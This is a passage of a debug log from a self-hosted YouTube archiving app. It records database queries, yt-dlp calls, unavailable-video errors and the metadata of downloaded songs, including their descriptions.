NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [158] 22:21:24.819 [debug] Current batch of media processed. Will check again in 1000ms 22:21:25.239 [debug] Current batch of media processed. Will check again in 1000ms 22:21:25.820 [debug] Current batch of media processed. Will check again in 1000ms 22:21:26.240 [debug] Current batch of media processed. Will check again in 1000ms 22:21:26.821 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Discord: https://discord.gg/dysmn\n\nSpotify: https://open.spotify.com/artist/4m6gJ1ZMwIiUUveRuKg65h\n-------------------|\nInstagram: https://www.instagram.com/dysmn.exe/\nTiktok: https://www.tiktok.com/@dysmn.music\nX: https://x.com/Dysmn_ \n\nWant to support me? -\n- (Membership) https://www.youtube.com/channel/UCBdxXQRUwjfiL0SfVyhkauw/join\n- (Merch) https://dysmn-shop.fourthwall.com\n- (Merch) https://dysmn-merch.printify.me", "duration" => 170, "filename" => "/downloads/Grift/Grift/2026-06-21DEVIL EFFECT【𝐄𝐏𝐈𝐋𝐄𝐏𝐒𝐘 𝐖𝐀𝐑𝐍𝐈𝐍𝐆】[_OZ191MYPjI].m4a", "id" => "_OZ191MYPjI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=_OZ191MYPjI", "playlist_index" => 39, "timestamp" => 1782054002, "title" => "DEVIL EFFECT【𝐄𝐏𝐈𝐋𝐄𝐏𝐒𝐘 𝐖𝐀𝐑𝐍𝐈𝐍𝐆】", "upload_date" => "20260621"} 22:21:26.822 [debug] QUERY OK source="sources" db=0.2ms idle=975.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:26.822 [debug] QUERY OK source="sources" db=0.1ms idle=975.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:26.823 [debug] QUERY OK source="media_items" db=0.1ms idle=976.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-21 15:00:02Z], 4] 22:21:27.134 [debug] QUERY OK source="media_items" db=310.7ms idle=976.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Discord: https://discord.gg/dysmn\n\nSpotify: https://open.spotify.com/artist/4m6gJ1ZMwIiUUveRuKg65h\n-------------------|\nInstagram: https://www.instagram.com/dysmn.exe/\nTiktok: https://www.tiktok.com/@dysmn.music\nX: https://x.com/Dysmn_ \n\nWant to support me? -\n- (Membership) https://www.youtube.com/channel/UCBdxXQRUwjfiL0SfVyhkauw/join\n- (Merch) https://dysmn-shop.fourthwall.com\n- (Merch) https://dysmn-merch.printify.me", "DEVIL EFFECT【𝐄𝐏𝐈𝐋𝐄𝐏𝐒𝐘 𝐖𝐀𝐑𝐍𝐈𝐍𝐆】", "b3b5bd7f-3870-4200-86f2-12db0c91727a", false, "_OZ191MYPjI", 170, false, "https://www.youtube.com/watch?v=_OZ191MYPjI", 39, "/downloads/Grift/Grift/2026-06-21DEVIL EFFECT【𝐄𝐏𝐈𝐋𝐄𝐏𝐒𝐘 𝐖𝐀𝐑𝐍𝐈𝐍𝐆】[_OZ191MYPjI].m4a", false, false, 4, [], 1, ~U[2026-06-21 15:00:02Z], ~U[2026-07-24 02:21:26Z], ~U[2026-07-24 02:21:26Z], "Discord: https://discord.gg/dysmn\n\nSpotify: https://open.spotify.com/artist/4m6gJ1ZMwIiUUveRuKg65h\n-------------------|\nInstagram: https://www.instagram.com/dysmn.exe/\nTiktok: https://www.tiktok.com/@dysmn.music\nX: https://x.com/Dysmn_ \n\nWant to support me? -\n- (Membership) https://www.youtube.com/channel/UCBdxXQRUwjfiL0SfVyhkauw/join\n- (Merch) https://dysmn-shop.fourthwall.com\n- (Merch) https://dysmn-merch.printify.me", "DEVIL EFFECT【𝐄𝐏𝐈𝐋𝐄𝐏𝐒𝐘 𝐖𝐀𝐑𝐍𝐈𝐍𝐆】", "_OZ191MYPjI", 170, false, "https://www.youtube.com/watch?v=_OZ191MYPjI", "/downloads/Grift/Grift/2026-06-21DEVIL EFFECT【𝐄𝐏𝐈𝐋𝐄𝐏𝐒𝐘 𝐖𝐀𝐑𝐍𝐈𝐍𝐆】[_OZ191MYPjI].m4a", false, 4, ~U[2026-06-21 15:00:02Z]] 22:21:27.134 [debug] QUERY OK source="sources" db=0.2ms idle=311.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:27.135 [debug] QUERY OK source="media_profiles" db=0.1ms idle=312.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:27.135 [debug] QUERY OK source="media_items" db=0.2ms idle=312.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [160] 22:21:27.135 [debug] Current batch of media processed. Will check again in 1000ms 22:21:27.241 [debug] Current batch of media processed. Will check again in 1000ms 22:21:27.670 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=q54TGP8MxWo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/55/7d/557d515a8f39e4d96914be7a97f478accb260c99dcad7683d2cec510a7aecb4e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] q54TGP8MxWo: Video unavailable. This video is not available 22:21:27.670 [error] yt-dlp download error for media item #202: "ERROR: [youtube] q54TGP8MxWo: Video unavailable. This video is not available\n" 22:21:27.670 [error] yt-dlp download will not be retried: "ERROR: [youtube] q54TGP8MxWo: Video unavailable. This video is not available\n" 22:21:27.783 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Y9oLpJIjNEU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/fe/b2/feb20f82b477c8c909f4dae3107ed24583aac2cc08aa147ecb31e3e533d2e85e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] Y9oLpJIjNEU: Video unavailable. This video is not available 22:21:27.783 [error] yt-dlp download error for media item #356: "ERROR: [youtube] Y9oLpJIjNEU: Video unavailable. This video is not available\n" 22:21:27.807 [error] yt-dlp download will not be retried: "ERROR: [youtube] Y9oLpJIjNEU: Video unavailable. This video is not available\n" 22:21:27.807 [info] {"args":{"id":202},"id":220,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4816342,"event":"job:stop","queue_time":35279712,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:28.063 [info] {"args":{"id":356},"id":221,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4953393,"event":"job:stop","queue_time":35279712,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:28.136 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Discord: https://discord.gg/dysmn\n\nSpotify: https://open.spotify.com/artist/4m6gJ1ZMwIiUUveRuKg65h?si=hxmAc9hoRIWwnLAxl9bDpg\n-------------------|\nInstagram: https://www.instagram.com/dysmn.exe/\nTiktok: https://www.tiktok.com/@dysmn.music\nX: https://x.com/Dysmn_ \n\nWant to support me? -\n- (Membership) https://www.youtube.com/channel/UCBdxXQRUwjfiL0SfVyhkauw/join\n- (Merch) https://dysmn-shop.fourthwall.com\n- (Merch) https://dysmn-merch.printify.me", "duration" => 300, "filename" => "/downloads/Grift/Grift/2026-03-09I Love You, Please Love You[ONccIcEKXJY].m4a", "id" => "ONccIcEKXJY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ONccIcEKXJY", "playlist_index" => 40, "timestamp" => 1773068442, "title" => "I Love You, Please Love You", "upload_date" => "20260309"} 22:21:28.137 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1001.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:28.138 [debug] QUERY OK source="sources" db=0.2ms idle=994.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:28.147 [debug] QUERY OK source="media_items" db=9.5ms idle=330.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-09 15:00:42Z], 4] 22:21:28.242 [debug] Current batch of media processed. Will check again in 1000ms 22:21:28.293 [debug] QUERY OK source="media_items" db=145.4ms idle=85.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Discord: https://discord.gg/dysmn\n\nSpotify: https://open.spotify.com/artist/4m6gJ1ZMwIiUUveRuKg65h?si=hxmAc9hoRIWwnLAxl9bDpg\n-------------------|\nInstagram: https://www.instagram.com/dysmn.exe/\nTiktok: https://www.tiktok.com/@dysmn.music\nX: https://x.com/Dysmn_ \n\nWant to support me? -\n- (Membership) https://www.youtube.com/channel/UCBdxXQRUwjfiL0SfVyhkauw/join\n- (Merch) https://dysmn-shop.fourthwall.com\n- (Merch) https://dysmn-merch.printify.me", "I Love You, Please Love You", "45eb013a-d723-4aac-8c02-b3b08f3c5100", false, "ONccIcEKXJY", 300, false, "https://www.youtube.com/watch?v=ONccIcEKXJY", 40, "/downloads/Grift/Grift/2026-03-09I Love You, Please Love You[ONccIcEKXJY].m4a", false, false, 4, [], 1, ~U[2026-03-09 15:00:42Z], ~U[2026-07-24 02:21:28Z], ~U[2026-07-24 02:21:28Z], "Discord: https://discord.gg/dysmn\n\nSpotify: https://open.spotify.com/artist/4m6gJ1ZMwIiUUveRuKg65h?si=hxmAc9hoRIWwnLAxl9bDpg\n-------------------|\nInstagram: https://www.instagram.com/dysmn.exe/\nTiktok: https://www.tiktok.com/@dysmn.music\nX: https://x.com/Dysmn_ \n\nWant to support me? -\n- (Membership) https://www.youtube.com/channel/UCBdxXQRUwjfiL0SfVyhkauw/join\n- (Merch) https://dysmn-shop.fourthwall.com\n- (Merch) https://dysmn-merch.printify.me", "I Love You, Please Love You", "ONccIcEKXJY", 300, false, "https://www.youtube.com/watch?v=ONccIcEKXJY", "/downloads/Grift/Grift/2026-03-09I Love You, Please Love You[ONccIcEKXJY].m4a", false, 4, ~U[2026-03-09 15:00:42Z]] 22:21:28.294 [debug] QUERY OK source="sources" db=0.3ms idle=146.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:28.294 [debug] QUERY OK source="media_profiles" db=0.3ms idle=146.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:28.295 [debug] QUERY OK source="media_items" db=0.2ms idle=145.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [163] 22:21:28.295 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Grift/Grift/NAyoutube video #7mBcTh1sMBs[7mBcTh1sMBs].NA", "id" => "7mBcTh1sMBs", "original_url" => "https://www.youtube.com/watch?v=7mBcTh1sMBs", "playlist_index" => 41, "title" => "youtube video #7mBcTh1sMBs"} 22:21:28.295 [debug] QUERY OK source="sources" db=0.1ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:28.295 [debug] Current batch of media processed. Will check again in 1000ms 22:21:29.244 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "• Tradução, edição e legenda por Insomnia\u00A0\n\n• Glass Animals\nSite: http://www.glassanimals.eu Live: http://www.glassanimals.eu/live/ Facebook: http://facebook.com/glassanimals Twitter: http://twitter.com/glassanimals Instagram: http://instagram.com/glassanimals\n\n• Vídeo oficial \nhttps://youtu.be/3WdAaAhhb6M\n\n• Imagem\nhttps://pinterest.com/pin/738731145103875321/?source_app=android\n\n• Para pedidos de músicas \nhttps://discordapp.com/invite/fdjCThM\n\n• Playlist Spotify\nhttps://open.spotify.com/user/21lgzmonblmc62wl245dq2qfi/playlist/7HI4pBaqaWiqnKPz7gZkn5?si=0t5DjygHShqXxaBBVjLiww&nd=1\n\n• Letra\n\nWhen I was young and stupid my love\nLeft to be a rock and roll star\nHe told me please don't worry\nWise little smile that spoke so safely\n\nHe booked a one way ticket\nOut west that's where they make it\nSix kids stuck in a bedsit\nTo sunswept poolside riches\n\nHe met a girl who wore Versace\nPink feather coats and jumbo jewellery\nGonna be a hoop phenomenon\nHe's gonna be Hakeem Olajuwan\n\nHe's got a gold Camaro\nHe said over the payphone\nI try to keep my cool but\nMy life turns in slow motion\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\nWhen I was from n.o.l.a no one\nLeft to be a rock and roll star\nHe'd stay and treat his lady\nGive everything to his new baby\n\nI miss him don't you blame me\nThat boy went stone cold crazy\nCaught up in camera lust he's\nChasing that pappy pipe dreams\n\nI know you don't but I\nI know you don't but I still try\nMy thunder shook him down\nMy thunder came and shook him down\nThat girl is gone but I\nThat girl is gone but I still try\nI think it's over now\nThe bullet hit but maybe not\nI feel so fucking numb\nIt hits my head and I feel numb\nMy body's looking wrong\nMy body's looking wrong\nMy body's looking wrong\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\n• Insomnia", "duration" => 321, "filename" => "/downloads/Nightcore/Nightcore/2018-10-09Glass Animals - The Other Side of Paradise (legendado)[vmLT3BHtZYU].m4a", "id" => "vmLT3BHtZYU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=vmLT3BHtZYU", "playlist_index" => 1, "timestamp" => 1539074280, "title" => "Glass Animals - The Other Side of Paradise (legendado)", "upload_date" => "20181009"} 22:21:29.244 [debug] QUERY OK source="sources" db=0.2ms idle=949.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:21:29.244 [debug] QUERY OK source="sources" db=0.1ms idle=949.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:29.245 [debug] QUERY OK source="media_items" db=0.1ms idle=949.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-10-09 08:38:00Z], 1] 22:21:29.297 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Somewhere I Belong (Official Music Video) [4K UPGRADE] – Linkin Park\n----------\nFrom Zero (Deluxe Edition) - Out Now: https://lprk.co/fromzerodlx\n\nOfficial Linkin Park Merch: http://lprk.co/store\nText/Call: https://lprk.co/text\nNewsletter Sign Up: https://lprk.co/newsletter\nYouTube Subscribe: http://lprk.co/youtube\nFacebook: http://lprk.co/facebook\nInstagram: http://lprk.co/instagram\nTikTok: http://lprk.co/tiktok\nTwitter: http://lprk.co/twitter\nDiscord: https://discord.gg/linkinpark\n\nFrom Zero World Tour\nTickets available at http://lprk.co/tour\n\nMay 29 - Stockholm, SE @ 3Arena\nJune 1 - Hamburg, DE @ Volksparkstadion\nJune 3 - Hamburg, DE @ Volksparkstadion\nJune 5 - Nuremberg, DE @ Rock am Ring\nJune 7 - Nürburg, DE @ Rock im Park\nJune 9 - Vienna, AT @ Ernst Happel Stadium\nJune 11 - Munich, DE @ Allianz Arena\nJune 12 - Munich, DE @ Allianz Arena\nJune 14 - Donington Park, UK @ Download Festival\nJune 16 - Lyon, FR @ Groupama Stadium\nJune 19 - Santiago de Compostela, ES @ O Son Do Camiño\nJune 21 - Lisbon, PT @ Rock in Rio Lisboa\nJune 23 - Madrid, ES @ Aditorio Miguel Rios\nJune 24 - Madrid, ES @ Aditorio Miguel Rios\nJune 26 - Florence, IT @ Visarno Arena\nJune 28 - Werchter, BE @ Werchter Parklife\nJune 30 - Zurich, CH @ Stadion Letzigrund\n\n#LinkinPark #Meteora #SomewhereIBelong #Meteora20", "duration" => 226, "filename" => "/downloads/Grift/Grift/2007-03-05Somewhere I Belong (Official Music Video) [4K UPGRADE] – Linkin Park[zsCD5XCu6CM].m4a", "id" => "zsCD5XCu6CM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zsCD5XCu6CM", "playlist_index" => 42, "timestamp" => 1173081567, "title" => "Somewhere I Belong (Official Music Video) [4K UPGRADE] – Linkin Park", "upload_date" => "20070305"} 22:21:29.482 [debug] QUERY OK source="media_items" db=236.1ms idle=911.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["• Tradução, edição e legenda por Insomnia\u00A0\n\n• Glass Animals\nSite: http://www.glassanimals.eu Live: http://www.glassanimals.eu/live/ Facebook: http://facebook.com/glassanimals Twitter: http://twitter.com/glassanimals Instagram: http://instagram.com/glassanimals\n\n• Vídeo oficial \nhttps://youtu.be/3WdAaAhhb6M\n\n• Imagem\nhttps://pinterest.com/pin/738731145103875321/?source_app=android\n\n• Para pedidos de músicas \nhttps://discordapp.com/invite/fdjCThM\n\n• Playlist Spotify\nhttps://open.spotify.com/user/21lgzmonblmc62wl245dq2qfi/playlist/7HI4pBaqaWiqnKPz7gZkn5?si=0t5DjygHShqXxaBBVjLiww&nd=1\n\n• Letra\n\nWhen I was young and stupid my love\nLeft to be a rock and roll star\nHe told me please don't worry\nWise little smile that spoke so safely\n\nHe booked a one way ticket\nOut west that's where they make it\nSix kids stuck in a bedsit\nTo sunswept poolside riches\n\nHe met a girl who wore Versace\nPink feather coats and jumbo jewellery\nGonna be a hoop phenomenon\nHe's gonna be Hakeem Olajuwan\n\nHe's got a gold Camaro\nHe said over the payphone\nI try to keep my cool but\nMy life turns in slow motion\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\nWhen I was from n.o.l.a no one\nLeft to be a rock and roll star\nHe'd stay and treat his lady\nGive everything to his new baby\n\nI miss him don't you blame me\nThat boy went stone cold crazy\nCaught up in camera lust he's\nChasing that pappy pipe dreams\n\nI know you don't but I\nI know you don't but I still try\nMy thunder shook him down\nMy thunder came and shook him down\nThat girl is gone but I\nThat girl is gone but I still try\nI think it's over now\nThe bullet hit but maybe not\nI feel so fucking numb\nIt hits my head and I feel numb\nMy body's looking wrong\nMy body's looking wrong\nMy body's looking wrong\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\n• Insomnia", "Glass Animals - The Other Side of Paradise (legendado)", "724d25b2-4895-4d35-88e2-12879299148b", false, "vmLT3BHtZYU", 321, false, "https://www.youtube.com/watch?v=vmLT3BHtZYU", 1, "/downloads/Nightcore/Nightcore/2018-10-09Glass Animals - The Other Side of Paradise (legendado)[vmLT3BHtZYU].m4a", false, false, 1, [], 1, ~U[2018-10-09 08:38:00Z], ~U[2026-07-24 02:21:29Z], ~U[2026-07-24 02:21:29Z], "• Tradução, edição e legenda por Insomnia\u00A0\n\n• Glass Animals\nSite: http://www.glassanimals.eu Live: http://www.glassanimals.eu/live/ Facebook: http://facebook.com/glassanimals Twitter: http://twitter.com/glassanimals Instagram: http://instagram.com/glassanimals\n\n• Vídeo oficial \nhttps://youtu.be/3WdAaAhhb6M\n\n• Imagem\nhttps://pinterest.com/pin/738731145103875321/?source_app=android\n\n• Para pedidos de músicas \nhttps://discordapp.com/invite/fdjCThM\n\n• Playlist 